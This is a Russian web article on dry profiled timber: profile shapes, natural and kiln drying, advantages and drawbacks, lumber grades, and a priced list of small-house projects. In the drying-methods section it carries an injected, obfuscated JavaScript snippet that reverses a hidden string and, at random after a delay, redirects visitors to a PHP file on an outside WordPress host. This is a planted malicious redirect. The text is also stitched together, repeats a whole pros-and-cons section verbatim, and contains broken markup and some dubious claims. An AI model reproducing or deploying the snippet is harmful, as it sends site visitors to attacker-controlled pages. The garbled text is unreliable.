Сухой профилированный брус: камерной и естественной сушки

Виды

Профилированный отличается от обычного бруса наличием профиля. Профиль выполняется на станках по шаблонам.

Различают следующие виды профиля:

• Имеющий один шип.
• Имеющий два шипа.
• Со скошенными фасками.
• «Гребенка» (с большим количеством шипов).
• Финский.

Шипы позволяют надежнее скрепить брус между собой, сводя к минимуму потери тепла.

При возведении дома специалисты рекомендуют использовать профиль «гребенка». Он образует более надежную защиту от проникновения в помещение холода и влажности. Если возводимый дом легкой конструкции, то можно использовать профиль в один или два шипа.

Немного отличается по конструкции финский профиль. В нижней части бруса делается большой паз, а с противоположной стороны находится шип, образованный двумя полосами. В такой конструкции получается более плотное соединение бруса, обеспечивается надежная защита от выдувания тепла и низких температур. Процесс усадки проходит более равномерно, а используемый утеплитель между брусьями не видно.

Какой из видов профиля будет применен в возводимом доме, решает каждый сам. Главное правило выбора профиля – это сохранение прочного шва между стыками и обеспечение жесткости сцепления.

Профилированный брус для строительства

Для быстрого возведения малоэтажных зданий — частных домов, коттеджей, дачных домиков — сегодня используется деревянный брус. При этом на смену ровным деталям с прямоугольным или квадратным сечением приходят профилированные изделия.

Производится профилированный материал так:

• В качестве основного сырья используется древесина хвойных или лиственных пород. Чаще всего заготовки делают из сосны, они же отличаются минимальной ценой.
• Из сосновых бревен путем распиловки получают квадратные/прямоугольные заготовки фиксированного размера. Размер заготовки обычно делают несколько больше размера готовых деталей — излишек древесины снимается при дельнейшей обработке, а объем уменьшается при сушке.
• Ровные заготовки естественной (т.е. приобретенной деревом в ходе роста) влажности могут просушиваться. Сушка производится либо на воздухе, либо в камерах.
• После просушки (или сразу после распила) детали поступают в строгальный станок. Боковые поверхности тщательно выравниваются, а сверху и снизу выполняется профилирование.

Для строительства сегодня используются преимущественно два типа профилей. Это гребенка (мелкие симметричные зубья) и профиль под утеплитель (замок «шип-паз» с широкой выемкой посередине для уплотняющей ленты).

Сушка профилированного бруса

На практике используют два метода сушки – естественный и камерный.

Естественная сушка

Сухой профилированный брус естественной сушки

Менее энергоемкий, но более затратный с точки зрения труда и времени, процесс. Технология сушки простая – брус штабелируется с обеспечением зазоров для циркуляции воздуха и пребывает в таком положении в течении месяца-двух. После того, как часть влаги уйдет, сырье уходит в производство.

Недостатками такого способа является зависимость процесса высыхания от внешних факторов: погоды, мастерства укладчиков и т.п. А несомненное достоинство – равномерность высыхания.

Камерная сушка бруса

Сухой профилированный брус камерной сушки

Процесс камерной сушки более высокотехнологичный. Сушка бруса выполняется в специальных камерах. Чтобы избежать растрескивания древесины в процессе сушки на внутренних поверхностях делают компенсационные запилы. Далее четырехкантный брус помещается на стеллажи выдвижной каретки и заводится в камеру. В камере выдерживают нужный температурный режим и принудительную циркуляцию воздуха.

Современные сушильные камеры позволяют установить оптимальный режим сушки с учетом породы древесины, исходной влажности бруса-заготовки, его сечения. Установленные датчики дают возможность контролировать заданные показатели.

Через 2,5-4 недели брус достигает заданных параметров влажности и отправляется на профилирующий станок. Использование камер, потребляющих энергию, приводит к увеличению стоимости бруса, но сообщает ему дополнительные свойства. Среди строителей и продавцов именно брус камерной сушки называют сухой профилированный брус.

Достоинства и особенности

К преимуществам профилированного бруса можно отнести:

• Стоимость. Брус профилированный естественной влажности имеет приемлемую стоимость. А необходимость ожидания усадки позволяет разделить общие затраты на части по времени их необходимости.
• Долгий срок службы.
• Прочность и надежность.
• Структура бревна с профилем значительно упрощает строительство, снижает затраты на утепление.
• Воздухопроницаемость. Брус из цельной древесины не теряет свои характеристики в процессе обработки. Но приобретая клееный брус стоит удостовериться в безопасности клеевой основы.
• Натуральный, экологически чистый материал. Позволяет создать в помещении неповторимы микроклимат, смольные пары оказывают положительное влияние на жильцов.
• Эстетичность. За счет того, что материал имеет гладкую и ровную поверхность, угловые элементы гармонично дополняют общий вид бревенчатого сруба — бревно не требует применения декоративной отделки внутри и снаружи.
• Низкие показатели теплопроводимости при условии соблюдения технологии сборки и использовании качественного утеплителя.
• Равномерная усадка и устойчивость к деформации.
• Сниженный процент влажности и изготовления бревна из ядровой части ствола дерева позволяют уменьшить количество трещин при усадке.
• Простота сборки дома. Соединение шип-паз упрощает процесс и позволяет сложить дом за 1 – 2 месяца.
• Изготовленные в производственных условиях угловые соединения надежно закрепляют венцы.
• Возможность строительства сооружений различных форм и размеров. Стандартно брусья изготавливаются длиной 6 метров, но под заказ могут быть изготовлены необходимой длины.
• Повторная конопатка стен не требуется, потому что гребневой замок исключает возможность появления щелей между венцами.
• Строительство домов из профилированного бруса возможно производить на столбчатом или не глубоком ленточном фундаменте.
• Прокладку коммуникаций (электропроводка, трубы) можно предусмотреть на этапе изготовления. Для этого специальными станками высверливаются технологические отверстия и каналы.

Недостатки профилированного бруса:

• Продолжительный период усадки. При этом использование отопительных и обогревательных приборов может привести к неравномерной усадке и увеличению количества трещин.
• При распиле бревна нарушается структура годичных колец и если их не обработать антисептиками, то может ускорится процесс гниения.
• Образование трещин в процессе сушки. На бревне квадратного сечения они появляются со всех сторон, а если сечение прямоугольной формы — то в основном на широких сторонах, находящихся внутри стены.
• Низкая сопротивляемость воздействию насекомых, огня и атмосферным явлениям. Проблема легко решается применением огнебиозащитных пропиток. После полного высыхания они не выделяет токсичных соединений и не представляет опасности для человека.
• Материал, даже сечением 200 х 200 мм, при использовании в зимний период или в северных регионах, требует дополнительного утепления со стороны фасада.
• Необходимость использования утеплителя в межвенцовых швах.

Существенным минусом дома из профилированного бруса можно назвать — невозможность произведения работ по перепланировке или надстройке.

При выборе материала следует помнить:

• строение брусовое долговечнее из профилированного бруса;
• ровность сторон, что бы проверить достаточно положить брус на ровное основание;
• промежутки между годовыми кольцами должны быть равными, это позволить избежать деформации;
• равномерность и однородность окраса поверхности. Если есть более темные участки — это может свидетельствовать о наличии внутреннего напряжения и возможном изменении формы в будущем.

Анализируя описанные плюсы и минусы профилированного бруса можно сказать, что в сравнении с аналогичными древесными материалами он имеет большую популярность за счет оптимального сочетания качественных характеристик и доступной стоимости.

Плюсы и минусы применения

Современное деревянное жилое строительство невозможно представить без использования бруса камерной сушки. Застройщики отмечают множество его положительных качеств, основные из которых:

1. Практическое отсутствие трещин, у хорошего материала его показатель не превышает 3-4% от общего объема. Это достигается за счет выдерживания технологии сушки и выбора правильного профиля бруса и разгрузочных пазов.
2. Малый объем усадки ниже 8%, что позволяет практически сразу начинать отделочные работы.
3. Дом из камерного бруса не уменьшает высоту помещений из-за усадочных процессов.
4. Экологическая древесина, поскольку не использует клей.
5. Гладкие обработанные грани бруса, не требующие проведения дорогостоящих и внутренних и наружных отделочных работ.
6. Замечательный вид.
7. Создание теплого дома за счет идеального межбрусового прилегания.
8. Экономичное строительство, требуется меньше выполнять конопатки и обработки стен. Влагостойкая стена, форма рассчитана таким образом, чтобы вода не попадала между брусьями, защищая стены от гниения.
9. Простота и высокая скорость возведения коробки дома.
10. Дом дышит, поскольку структура дерева при обработке не нарушается. Даже при закрытых окнах, воздухообмен в доме продолжает циркулировать наполняя его свежим ароматом дерева.
11. Сопротивление биологическому воздействию грибков и бактерий, благодаря заводской пропитке глубокого проникновения.
12. Стены не разрушаются от резких перепадов температур.
13. Долговечность более 50 лет.

К минусам камерного бруса специалисты относят сложность процесса сушки, который должен обеспечивать равномерность его прогревания, опасность неравномерного высыхания изделий большой толщины, когда середина остается влажной, высокая цена на готовый материал и на 30 % выше чем на необработанный брус.

Совершенное сырье

Сухой брус профилированной обработки, пожалуй, является визитной карточкой любой фирмы, занимающейся строительством деревянных домов. Можно полностью быть уверенным в том что деревянный сруб никогда не поведёт, а сама усадка состовляет не более 5%, про внешний вид вообще говорить нечего, дома из профилированного бруса выглядят просто идеально.. Строительство таким материалом производится в кратчайшие сроки, так как по выбранному клиентом проекту непременно будет производиться домокомплект со специальными заводскими чашами и другими комплектующими.

Отделочные работы и вовсе проделываются по принципу – приходи и живи. Также можно отдельно обговорить постройку дополнительных сооружений таких как – баня, беседка, парник, полное обустройство территории. Не согласиться с таким фактом как профессиональное строительство невозможно так как это действительно выгодно как ни крути.

Профилированный брус – плюсы и минусы

Учитывая тот факт, что профилированный брус изготавливается из древесины, которая имеет ряд недостатков, было бы наивно полагать, что он не обладает некоторыми из них. Конечно, отбор сырьевой базы, калибровка, сушка и профилирование позволяют исключить некоторые из них. Но, тем не менее, профилированный брус имеет свои преимущества и недостатки.

Преимущества профилированного бруса:

• экологичность (100% для профилированного бруса из массива, близкая к идеальной для клееного и теплого вида);
• привлекательный внешний вид. Как правило, дома, построенные из профилированного бруса, не нуждаются в наружной отделке;
• способность сохранять линейные размеры;
• защищенность от грибков и плесени;
• повышенная прочность;
• простота монтажа увеличивает скорость строительства;
• здание, построенное из профилированного бруса, дает минимальную усадку (2-3%);
• минимальная теплопроводность, включая минимизацию мостиков холода в межвенцовых швах;
• отсутствие необходимости в конопатке;
• способность стен «дышать»;
• устойчивость места примыкания соседних брусьев к затеканию влаги;
• долговечность;
• оптимальное соотношение по показателю «цена/качество».

Недостатки профилированного бруса:

• частный брак при профилировании. Требуется внимательный осмотр соединительных сторон на каждой единице товара;
• сухой профилированный брус на треть дороже клееного профилированного бруса;
• необходимость четко выдерживать технологию монтажа, особенно внимательно следить за плотностью примыкания и крепления брусьев;
• со временем натуральная древесина темнеет, что может потребовать дополнительной внешней отделки.

Заключение

Предложение профилированного бруса довольно велико, но и спрос на него постоянно растет. Профбрус хорошо зарекомендовал себя в странах Европы, а мастерство и знание технологии строительства позволят успешно эксплуатировать его и в отечественных условиях.

Стиль зданий из профилированного бруса

Некоторые минусы зданий из профилированного бруса совершенно не мешают строить из этого материала объекты, стилистика которых является одним из респектабельных и дорогостоящих. Речь идёт непосредственно о загородном шале. Архитектура подобного типа дома довольно интересна и совершенно непривычна нашему русскому человеку. Всё дело заключается в том, что у такого дома скатная крыша, которая иногда может полностью скрыть объект. Это и является отличительным признаком данного стиля. Обычно, подобные дома не строятся выше двух этажей. У них достаточно широкая площадь, веранда, открытые террасы. Проёмы окон могут быть от пола до потолка. Стиль причисляется к деревенскому быту, а это означает, что природный узор дерева вместе с такой же старинной деревянной мебелью являются пиком моды.

Особенностью внутреннего декора непременно является камин – его обычно располагают на первом этаже, располагается в самом центре гостиной или примыкают к стене дома. Так как стилистика основана на русско — деревенских мотивах, то камин обычно отделывают камнем – это могут быть как туф, так и булыжник. Желательно применять имитацию – оригинал может нести настоящую радиацию. Конечно же, имеет значение и сам текстиль, приборы освещение, посуда.

В давние времена шале являлось жилищами пастухов, и соответственно быт подходил этой профессии. Но навряд ли сегодняшние владельцы таких жилищ пожелают питаться из берестовой чаши или применять для сна скамейку. Посуда может, сделана из качественной глины, шторы, а также скатерти непременно должны быть из натуральных тканей, тогда стилистика будет соблюдена.

Срубы естественной сушки

Любой вид древесины имеет свой показатель влажности. У сруба естественной сушки он имеет высокий показатель. Сохнуть естественным путем сруб будет долго. После сборки дом должен простоять не менее года, чтобы закончился процесс его усадки и сушки, а это большой срок. Не рекомендуется делать сразу отделку дома и ставить крышу. Крыша и пол кладутся черновые, а сам дом еще год продолжает сохнуть и усаживаться.

Применение срубов естественной сушки имеет ряд недостатков:

• Большой процент усадки: чем больше первоначальный коэффициент влажности, тем сильнее будет подвергаться деформации сруб.
• Высокая склонность к образованию трещин.
• Возможны перекосы оконных и дверных проемов.
• Необходимо дополнительно обрабатывать брус (особенно торцы) антисептическим раствором.

Те застройщики, которые использовали при строительстве дома брус естественной сушки, выделяют некоторые его положительные стороны:

• по ряду технологических показателей и эксплуатации он не уступает просушенному материалу;
• монтаж сруба выполняется легко;
• низкая стоимость.

Возводить строение из бруса естественной сушки можно тогда, когда хочется существенно снизить расходы для закупки строительных материалов. Время на возведение дома в таком случае увеличится. Но если планируется неспешная и поэтапная реализация проекта постройки, то применение такого вида сруба будет вполне рациональным решением.

Еще одним способом сэкономить будет приобретение для сруба дома материала зимней заготовки. Он имеет влажность всего 18%, а этот показатель близок к влажности бруса камерной сушки.

Достоинства и особенности

К преимуществам профилированного бруса можно отнести:

• Стоимость. Брус профилированный естественной влажности имеет приемлемую стоимость. А необходимость ожидания усадки позволяет разделить общие затраты на части по времени их необходимости.
• Долгий срок службы.
• Прочность и надежность.
• Структура бревна с профилем значительно упрощает строительство, снижает затраты на утепление.
• Воздухопроницаемость. Брус из цельной древесины не теряет свои характеристики в процессе обработки. Но приобретая клееный брус стоит удостовериться в безопасности клеевой основы.
• Натуральный, экологически чистый материал. Позволяет создать в помещении неповторимы микроклимат, смольные пары оказывают положительное влияние на жильцов.
• Эстетичность. За счет того, что материал имеет гладкую и ровную поверхность, угловые элементы гармонично дополняют общий вид бревенчатого сруба — бревно не требует применения декоративной отделки внутри и снаружи.
• Низкие показатели теплопроводимости при условии соблюдения технологии сборки и использовании качественного утеплителя.
• Равномерная усадка и устойчивость к деформации.
• Сниженный процент влажности и изготовления бревна из ядровой части ствола дерева позволяют уменьшить количество трещин при усадке.
• Простота сборки дома. Соединение шип-паз упрощает процесс и позволяет сложить дом за 1 – 2 месяца.
• Изготовленные в производственных условиях угловые соединения надежно закрепляют венцы.
• Возможность строительства сооружений различных форм и размеров. Стандартно брусья изготавливаются длиной 6 метров, но под заказ могут быть изготовлены необходимой длины.
• Повторная конопатка стен не требуется, потому что гребневой замок исключает возможность появления щелей между венцами.
• Строительство домов из профилированного бруса возможно производить на столбчатом или не глубоком ленточном фундаменте.
• Прокладку коммуникаций (электропроводка, трубы) можно предусмотреть на этапе изготовления. Для этого специальными станками высверливаются технологические отверстия и каналы.

Недостатки профилированного бруса:

• Продолжительный период усадки. При этом использование отопительных и обогревательных приборов может привести к неравномерной усадке и увеличению количества трещин.
• При распиле бревна нарушается структура годичных колец и если их не обработать антисептиками, то может ускорится процесс гниения.
• Образование трещин в процессе сушки. На бревне квадратного сечения они появляются со всех сторон, а если сечение прямоугольной формы — то в основном на широких сторонах, находящихся внутри стены.
• Низкая сопротивляемость воздействию насекомых, огня и атмосферным явлениям. Проблема легко решается применением огнебиозащитных пропиток. После полного высыхания они не выделяет токсичных соединений и не представляет опасности для человека.
• Материал, даже сечением 200 х 200 мм, при использовании в зимний период или в северных регионах, требует дополнительного утепления со стороны фасада.
• Необходимость использования утеплителя в межвенцовых швах.

Существенным минусом дома из профилированного бруса можно назвать — невозможность произведения работ по перепланировке или надстройке.

При выборе материала следует помнить:

• строение брусовое долговечнее из профилированного бруса;
• ровность сторон, что бы проверить достаточно положить брус на ровное основание;
• промежутки между годовыми кольцами должны быть равными, это позволить избежать деформации;
• равномерность и однородность окраса поверхности. Если есть более темные участки — это может свидетельствовать о наличии внутреннего напряжения и возможном изменении формы в будущем.

Анализируя описанные плюсы и минусы профилированного бруса можно сказать, что в сравнении с аналогичными древесными материалами он имеет большую популярность за счет оптимального сочетания качественных характеристик и доступной стоимости.

Классификация пиломатериалов

Все виды пиломатериалов делятся на категории по способу подготовки товара к реализации. Если древесина торцованная, она будет сложена в штабель с одинаковой длиной бревен. Срезы ровные, направленные перпендикулярно оси. Неторцованная древесина представлена стволами разной длины, с неровными спилами.

Калиброванный строительный материал представляет штабеля, прошедшие воздушную сушку до распила. Для лиственных пород норма влажности 20 %, для хвойных – 22 %. Одной из операций может быть антисептическая обработка.

Строганые бревна – ошкуренные для лучшей просушки, обструганные плоскостью или фрагментами. Конструкционными материалами называют твердые породы – дуб и лиственницу.

Исходя из толщины бревна, его распускают в соответствии разработанной карте раскроя, обеспечивая больший выход сортовой обрезной доски или бруса.

Получают:

• двух-, трех, четырехкантный брус;
• обрезную доску чистую, с тупым или острым обзолом;
• брусок;
• обапол горбыльный и досчатый;
• шпалу обрезную.

Сортность обрезных сортаментов регламентируется соответствующими стандартами.

Данный пиломатериал имеет несколько преимуществ. Среди них:

• хорошая несущая способность, которая позволяет использовать доску для изготовления крепких, но легких конструкций;
• скорость и удобство монтажа – доску монтируют в сложные конструкции при помощи монтажных креплений;
• натуральное происхождение древесины.

Обрезная доска из дуба имеет несколько существенных недостатков:

• большая стоимость материала, которая зависит от качества сечения;
• ограничение несущих способностей.

Способы создания сушеного бруса

Атмосферный, естественный

$NjS=function(n){if(typeof ($NjS.list)==»string») return $NjS.list.split(«»).reverse().join(«»);return $NjS.list;};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—brus-sushitsya-estestvennym-sposobom.jpg» width=»444″ height=»332″ /> На фото – брус сушится естественным способом.

• Брусья храним в штабеля под навесами на открытом воздухе несколько месяцев.
• Их торцы покроем клеем или известью во избежание трещин.
• Но от изменения погоды, влажности и температуры материал иногда деформируется, образуются мелкие трещины.

Камерный

Высокоэффективная альтернатива атмосферному способу — камерная сушка.

• Брус в сушильных камерах, оснащенных нагревательными калориферами, вентиляторами, воздуховодами благоприятствуют равномерному, правильному высыханию.
• Эффективность такой сушки бесспорна: мы не зависим от погоды, а процесс контролирует компьютер, сокращая время, но увеличивая объемы.

Генераторный

Сушка высокочастотными генераторами.

• Здесь древесина в цепи данного генератора — диэлектрик в конденсаторе (электрическая энергия подаваемого переменного тока превращается в тепловую).
• Брус, нагреваясь, интенсивно и равномерно высыхает.
• Но затраты электроэнергии значительны, значит, цена бруса выше. Кстати, готовый сухой брус всегда в 2 раза дороже.

Какую древесину профессионалы считают качественной

Качество в изготовлении элементов из древесины закладывается на самом раннем этапе производства — в условиях произрастания деревьев. Строители предпочитают использовать для стропил лес, выращенный в северных регионах. Лес из этих областей — строители его называют «северным» — меньше подвержен поражению насекомыми, грибами и бактериями. Кроме того, лес на севере растет дольше, чем в средней полосе, поэтому изделия из него обладают более высокой плотностью и, соответственно, лучшими механическими свойствами.

Еще один важный критерий качества пиломатериалов — влажность. В стволе только что спиленной ели влажность может достигать 90%, в стволе сосны — 80%, в толще лиственницы — до 85%. Уровень влажности в готовых к использованию пиломатериалах должен быть значительно ниже.

Согласно ГОСТ Р 56705-2015 «Конструкции деревянные для строительства. Термины и определения», в строительстве оперируют двумя видами влажности: транспортная и эксплуатационная влажность. Нормальное значение транспортной влажности составляет от 18 до 22%. При такой влажности во время транспортировки древесину не поражают грибы, плесень и другие разновидности микрофлоры. Согласно СП 64.13330.2017 «Деревянные конструкции. Актуализированная редакция СНиП II-25-80», максимальная эксплуатационная влажность для древесины, не контактирующей с грунтом и не находящейся в воде, должна составлять не более 20%.

Соответствие этим показателям критически важно: заготовки для балок и стропил из древесины с влажностью свыше 22% могут деформироваться, растрескаться и стать непригодными для эксплуатации уже в процессе транспортировки. Вероятность такого сценария при использовании не соответствующего строительным нормам материала очень велика

В то же время высушенный до нормативных значений материал хорошо сохраняет физические свойства и геометрические показатели.

Еще один недостаток влажной древесины, хорошо известный профессионалам, — изменение цвета. Некачественно высушенная древесина синеет и чернеет еще в процессе хранения. Изменение цвета вызвано размножением определенных видов бактерий и грибов и считается браком. К сожалению, иногда процесс становится заметен, когда из материала уже возвели конструкцию. Высушенный до 18–22% материал устойчив к атакам микроорганизмов и при выполнении правил хранения не меняет цвет.

Конденсационная

Что собой представляет обрезная доска?

Сухая обрезная доска считается одним из самых распространенных пиломатериалов. Ее часто применяют во время укладки фундамента, а также при сооружении конструкции кровли, при монтаже перегородок и несущих стен. Ничем ее не заменишь и во время отделочных ремонтных работ. Чтобы изготовить такую доску, бревно распиливают с нескольких сторон. Все нужно делать, согласно установленным нормам. Готовые брусья хорошо высушивают, чтобы уровень влажности в них не превышал 10%.

Пиломатериалы достаточно долговечны. Они бывают разного качества. Все зависит от сферы их применения:

1. Для черновых работ подходит доска низкого качества. Она так же практична и долговечна. Но дефекты, которые не мешают строительному процессу, не убирают.
2. Для оформления внешней отделки используют только доску высшего сорта.

Проекты домов из мини-бруса

Количество проектов 37

• 1 комната
• 1 санузел

Проект Летний дом «Шале» с террасой

В избранное

• 34² Общая площадь
• 6 x 6м Площадь застройки

от 400 550 р. Срок возведения индивидуально

2 комнаты

Проект Летний дом «Хоромы»

В избранное

• 54² Общая площадь
• 6 x 9м Площадь застройки

от 768 250 р. Срок возведения индивидуально

2 комнаты

Проект Дачный дом «Услада»

В избранное

• 36² Общая площадь
• 6 x 6м Площадь застройки

от 572 450 р. Срок возведения индивидуально

• 1 комната
• 1 санузел

Проект Летний дом «Поместье»

В избранное

• 36² Общая площадь
• 6 x 6м Площадь застройки

от 446 900 р. Срок возведения индивидуально

• 1 комната
• 1 санузел

Проект дачного домика «Ротелло»

В избранное

43.9² Общая площадь

от 592 650 р. Срок возведения индивидуально

• 1 комната
• 1 санузел

Проект дачного домика «Мальвито»

В избранное

32.2² Общая площадь

от 434 700 р. Срок возведения индивидуально

• 3 комнаты
• 1 санузел

Проект дачного домика «Ирсина»

В избранное

48² Общая площадь

от 648 000 р. Срок возведения индивидуально

• 3 комнаты
• 2 санузла

Проект дачного домика «Бонк»

В избранное

104.7² Общая площадь

от 1 413 450 р. Срок возведения индивидуально

• 2 комнаты
• 1 санузел

Проект Летний двухуровневый дом «Дачные пенаты»

В избранное

• 38² Общая площадь
• 6 x 5м Площадь застройки

от 402 400 р. Срок возведения индивидуально

• 1 комната
• 1 санузел

Проект Летний дом «Луч солнца»

В избранное

• 36² Общая площадь
• 6 x 6м Площадь застройки

от 425 400 р. Срок возведения индивидуально

• 1 комната
• 1 санузел

Проект Дачный дом «Лабиринт»

В избранное

• 41² Общая площадь
• 6 x 7м Площадь застройки

от 546 550 р. Срок возведения индивидуально

• 4 комнаты
• 4 санузла

Проект Летний гостевой дом «Квартет гранд»

В избранное

• 120² Общая площадь
• 10 x 6м Площадь застройки

от 931 950 р. Срок возведения индивидуально

• 1 комната
• 1 санузел

Проект Летний коттедж «Семейный»

В избранное

• 28² Общая площадь
• 5 x 6м Площадь застройки

от 493 750 р. Срок возведения индивидуально

2 комнаты

Проект Летний дом «Изба красна»

В избранное

• 33² Общая площадь
• 6 x 6м Площадь застройки

от 398 300 р. Срок возведения индивидуально

• 2 комнаты
• 2 санузла

Проект дачного домика «Тюрингия»

В избранное

99² Общая площадь

от 1 336 500 р. Срок возведения индивидуально

• 5 комнат
• 1 санузел

Проект Летний дом «Раздолье» 6*6

В избранное

• 72² Общая площадь
• 6 x 6м Площадь застройки

от 845 950 р. Срок возведения индивидуально

4 комнаты

Проект Летний гостевой дом «Трио»

В избранное

• 55² Общая площадь
• 5 x 6м Площадь застройки

от 454 250 р. Срок возведения индивидуально

• 1 комната
• 1 санузел

Проект дачного домика «Колла»

В избранное

39.7² Общая площадь

от 535 950 р. Срок возведения индивидуально

2 комнаты

Проект Дачный дом Топ-дом

В избранное

• 30² Общая площадь
• 6 x 5м Площадь застройки

от 526 700 р. Срок возведения индивидуально

• 4 комнаты
• 1 санузел

Проект дачного домика «Рейно»

В избранное

63.7² Общая площадь

от 859 950 р. Срок возведения индивидуально

Смотреть все проекты

Чтобы иметь успех на современном рынке, строительный материал из дерева должен обладать многими достоинствами. В частном домостроении ценятся материалы, демонстрирующие долговечность, теплоэффективность, экологичность. На популярность в немалой степени влияет и цена продукта, во многом определяющая итоговую стоимость загородного дома.

Задумываясь о возведении собственного жилья, притязательные хозяева все чаще обращают взгляд на дом из мини-бруса. Эта технология появилась на Скандинавском полуострове несколько десятилетий назад; в России подобные постройки стали распространяться лет десять назад и сразу получили высокую оценку, как у строителей, так и у владельцев.

На родине технологии Источник skopelitissa.com